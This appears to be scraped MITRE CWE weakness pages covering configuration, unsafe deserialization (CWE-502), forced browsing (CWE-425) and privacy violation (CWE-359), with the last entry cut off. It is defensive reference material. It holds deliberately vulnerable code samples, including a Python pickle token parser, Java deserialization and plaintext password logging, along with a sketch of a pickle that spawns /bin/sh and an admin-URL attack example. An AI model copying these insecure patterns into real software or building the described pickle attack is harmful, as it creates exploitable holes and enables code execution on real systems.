2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated References
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Relationships
2010-12-13CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-01-23CWE Content TeamMITRE
updated Abstraction
2018-03-27CWE Content TeamMITRE
updated References, Relationships, Type
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Plaintext Transmission of Sensitive Information

CWE CATEGORY: Configuration

Category ID: 16
Status: Draft
+ Summary
Weaknesses in this category are typically introduced during the configuration of the software.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).699Development Concepts
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1032OWASP Top Ten 2017 Category A6 - Security Misconfiguration
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4J2EE Environment Issues
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.519.NET Environment Issues
+ Notes

Maintenance

This entry is a Category, but various sources map to it anyway, e.g. by NVD, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.
+ Content History
Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2017-11-08CWE Content TeamMITRE
updated Detection_Factors
2018-03-27CWE Content TeamMITRE
updated Relationships

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502
Abstraction: Variant
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
+ Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

+ Alternate Terms
Marshaling, Unmarshaling:
Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.
Pickling, Unpickling:
In Python, the "pickle" functionality is used to perform serialization and deserialization.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.913Improper Control of Dynamically-Managed Code Resources
PeerOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.915Improperly Controlled Modification of Dynamically-Determined Object Attributes
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.913Improper Control of Dynamically-Managed Code Resources
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.913Improper Control of Dynamically-Managed Code Resources
+ Background Details
Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

Ruby (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Python (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data; Unexpected State

Attackers can modify unexpected objects or data that was assumed to be safe from modification.
Availability

Technical Impact: DoS: Resource Consumption (CPU)

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.
Other

Technical Impact: Varies by Context

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code snippet deserializes an object from a file and uses it as a UI button:

(bad code)
Example Language: Java 
try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

(good code)
Example Language: Java 
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }

Example 2

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [R.502.7], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

(bad code)
Example Language: Python 
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthFail
self.secure_data = token['data']
except:
raise AuthFail
}

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

+ Observed Examples
ReferenceDescription
Deserialization issue in commonly-used Java library allows remote execution.
Deserialization issue in commonly-used Java library allows remote execution.
Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
Use of PHP unserialize function on untrusted input in content management system might allow code execution.
Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
Python script allows local users to execute code via pickled data.
Unsafe deserialization using pickle in a Python script.
Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phases: Architecture and Design; Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Whitelist acceptable classes. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858CERT Java Secure Coding Section 13 - Serialization (SER)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1034OWASP Top Ten 2017 Category A8 - Insecure Deserialization
+ Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPDeserialization of untrusted data
CERT Java Secure CodingSER01-JDo not deviate from the proper signatures of serialization methods
CERT Java Secure CodingSER03-JDo not serialize unencrypted, sensitive data
CERT Java Secure CodingSER06-JMake defensive copies of private mutable components during deserialization
CERT Java Secure CodingSER08-JDo not use the default serialized form for implementation defined invariants
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-461] Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015-10-28. <http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>.
[REF-462] Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015-08-27. <http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing>.
[REF-463] Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015-01-28. <http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>.
[REF-464] Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <http://heine.familiedeelstra.com/security/unserialize>.
[REF-465] Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010-04-26. <http://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication>.
[REF-466] Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://nadiana.com/python-pickle-insecure>.
[REF-467] Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011-03-20. <https://blog.nelhage.com/2011/03/exploiting-pickle/>.
[REF-468] Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016-03-21. <https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization>.
+ Content History
Submissions
Submission DateSubmitterOrganization
CLASP
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2017-05-03CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.
+ Extended Description
Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.
+ Alternate Terms
forced browsing:
The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.288Authentication Bypass Using an Alternate Path or Channel
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.424Improper Protection of Alternate Path
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.862Missing Authorization
PeerOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.288Authentication Bypass Using an Alternate Path or Channel
CanPrecedeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecedeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.471Modification of Assumed-Immutable Data (MAID)
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.442Web Problems
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.288Authentication Bypass Using an Alternate Path or Channel
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.424Improper Protection of Alternate Path
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.862Missing Authorization
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Read Application Data; Modify Application Data; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

(attack code)
Example Language: JSP 
http://somesite.com/someapplication/admin.jsp
+ Observed Examples
ReferenceDescription
Bypass authentication via direct request.
Infinite loop or infoleak triggered by direct requests.
Bypass auth/auth via direct request.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Authentication bypass via direct request.
Authentication bypass via direct request.
Authorization bypass using direct request.
Access privileged functionality using direct request.
Upload arbitrary files via direct request.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.953SFP Secondary Cluster: Missing Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
+ Notes

Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Request aka 'Forced Browsing'
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
WASC34Predictable Resource Location
Software Fault PatternsSFP30Missing endpoint authentication
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes
2008-10-14CWE Content TeamMITRE
updated Description
2010-02-16CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships

CWE-359: Exposure of Private Information ('Privacy Violation')

Weakness ID: 359
Abstraction: Class
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software does not properly prevent private data (such as credit card numbers) from being accessed by actors who either (1) are not explicitly authorized to access the data or (2) do not have the implicit consent of the people to which the data is related.
+ Extended Description

Mishandling private information, such as customer passwords or Social Security numbers, can compromise user privacy and is often illegal. An exposure of private information does not necessarily prevent the software from working properly, and in fact it might be intended by the developer, but it can still be undesirable (or explicitly prohibited by law) for the people who are associated with this private information.

Privacy violations may occur when:

  1. Private user information enters the program.
  2. The data is written to an external location, such as the console, file system, or network.

Private data can enter a program in a variety of ways:

  1. Directly from the user in the form of a password or personal information
  2. Accessed from a database or other data store by the application
  3. Indirectly from a partner or other third party

Some types of private information include:

  • Government identifiers, such as Social Security Numbers
  • Contact information, such as home addresses and telephone numbers
  • Geographic location - where the user is (or was)
  • Employment history
  • Financial data - such as credit card numbers, salary, bank accounts, and debts
  • Pictures, video, or audio
  • Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
  • Relationships (and types of relationships) with others - family, friends, contacts, etc.
  • Communications - e-mail addresses, private e-mail messages, SMS text messages, chat logs, etc.
  • Health - medical conditions, insurance status, prescription records
  • Credentials, such as passwords, which can be used to access other information.

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Depending on its location, the type of business it conducts, and the nature of any private data it handles, an organization may be required to comply with one or more of the following federal and state regulations: - Safe Harbor Privacy Framework [REF-340] - Gramm-Leach Bliley Act (GLBA) [REF-341] - Health Insurance Portability and Accountability Act (HIPAA) [REF-342] - California SB-1386 [REF-343].

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

+ Alternate Terms
Privacy leak
Privacy leakage
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.200Information Exposure
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.202Exposure of Sensitive Data Through Data Queries
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Paradigms

Mobile (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

Example 2

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

(bad code)
Example Language: C# 
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 3

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857CERT Java Secure Coding Section 12 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPrivacy Violation
CERT Java Secure CodingFIO13-JDo not log sensitive information outside a trust boundary
+ References
[REF-338] J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. <http://www.theregister.co.uk/2005/02/07/aol_email_theft/>.
[REF-339] NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". 2010-04. <http://csrc.nist.gov/publications/nistpubs/800-122/sp800-122.pdf>.
[REF-340] U.S. Department of Commerce. "Safe Harbor Privacy Framework". <http://www.export.gov/safeharbor/>.
[REF-341] Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". <http://www.ftc.gov/privacy/glbact/index.html>.
[REF-342] U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". <http://www.hhs.gov/ocr/hipaa/>.
[REF-343] Government of the State of California. "California SB-1386". 2002. <http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html>.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf>.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
7 Pernicious Kingdoms
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Other_Notes
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Other_Notes, References
2010-02-16CWE Content TeamMITRE
updated Other_Notes, References
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Other_Notes, References
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2014-02-18CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Name, Other_Notes, References
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2014-02-18Privacy Violation

CWE-284: Improper Access Control

Weakness ID: 284
Abstraction: Class
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
